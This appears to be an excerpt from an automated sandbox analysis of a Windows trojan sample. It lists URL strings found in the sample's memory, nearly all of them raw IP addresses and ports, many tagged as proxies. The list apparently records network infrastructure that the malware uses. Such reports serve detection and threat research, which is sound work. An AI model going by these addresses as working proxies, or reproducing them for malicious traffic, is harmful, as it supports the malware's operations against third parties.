Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C77B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.134.236.231:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.134.236.231:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C78C6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.133.116
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C823C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.133.116://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.133.116:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.133.116:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7887000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.133.116:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.211.182:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.135.211.182:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.141.177.23
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.141.177.23://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.141.177.23:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83E1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.142.81.218://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.142.81.218:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.142.81.218x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.144.77.146
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.144.77.146://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC019000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.144.77.146:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.185.169.15:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.185.169.15:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.195.164.53:7777
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://18.195.164.53:7777://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.122.144.254:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.122.144.254:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.131.242.221:48678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.131.242.221:48678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.178.104.106:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.178.104.106:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.180.218.250:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.180.218.250:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.108.19:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.108.19:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.108.19:8080p
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C759F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.159.9:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C759F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.159.9:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.208.173:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6EA9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.208.173:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.97.16:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C83D6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.183.97.16:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.23.115:8082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.23.115:8082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.254.127:8082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CA2DA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.254.127:8082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.59.109:8082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.191.59.109:8082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.210.222.201:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A99000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.210.222.201:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.210.222.205:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.210.222.205:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.210.222.209:1080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.210.222.209:1080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.211.179.126:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6A80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.211.179.126:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8379000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8391000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.211.183.2:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8385000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.211.183.2:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.242.248.70:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.242.248.70:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.250.143.189:1111
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7DA8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://180.250.143.189:1111://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.115.206.242:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.115.206.242:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.120.28.228
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.120.28.228://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.120.28.228:80
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.183.19:53281
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.183.19:53281://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.183.19:53281x
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.243.35:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.243.35:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E10000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.43.3:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6E0B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.129.43.3:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.143.106.162:52151
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.143.106.162:52151://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.143.11.158:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.143.11.158:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C768B000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C903D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.143.143.125:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.143.143.125:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.143.69.227:5678
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCD0D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.143.69.227:5678://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.15.154.154:52033
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.15.154.154:52033://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.176.221.151:9812
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.176.221.151:9812://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.188.206.62:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.188.206.62:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.191.94.126:8999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.191.94.126:8999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB377000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.196.254.201:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CCC47000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.196.254.201:999://proxyx
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.198.32.212:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.198.32.212:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204.123.70:52246
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204.123.70:52246://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204.27.74:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.204.27.74:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.190.52:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.190.52:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDC0000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.230.58:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CAE42000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.230.58:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.41.210:7654
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBDF0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.205.41.210:7654://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.206.84.190:4153
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.206.84.190:4153://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.100.2:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.100.2:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.110.190:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.110.190:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.113.234:1082
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.113.234:1082://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC929000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.113.234:1085
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC63E000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.113.234:1085://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.82.154:23500
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C68A1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.209.82.154:23500://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.41.171:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C6F32000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.41.171:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.45.226:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.45.226:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CBFFB000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.45.228:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CC7C1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.212.45.228:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.214.221.4:3128
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.214.221.4:3128://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.233.89.174:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.233.89.174:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.28.111.161:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C854A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.28.111.161:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C7981000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.39.27.225:1994
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C95F6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.39.27.225:1994://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C66CD000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8108000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.39.35.99:999
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C8126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.39.35.99:999://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.44.224.243:8080
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C9FF6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.44.224.243:8080://proxy
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194C715C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.48.193.42:2580
Source: SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe, 00000000.00000002.1796025652.00000194CB125000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://181.48.193.42:2580://proxy
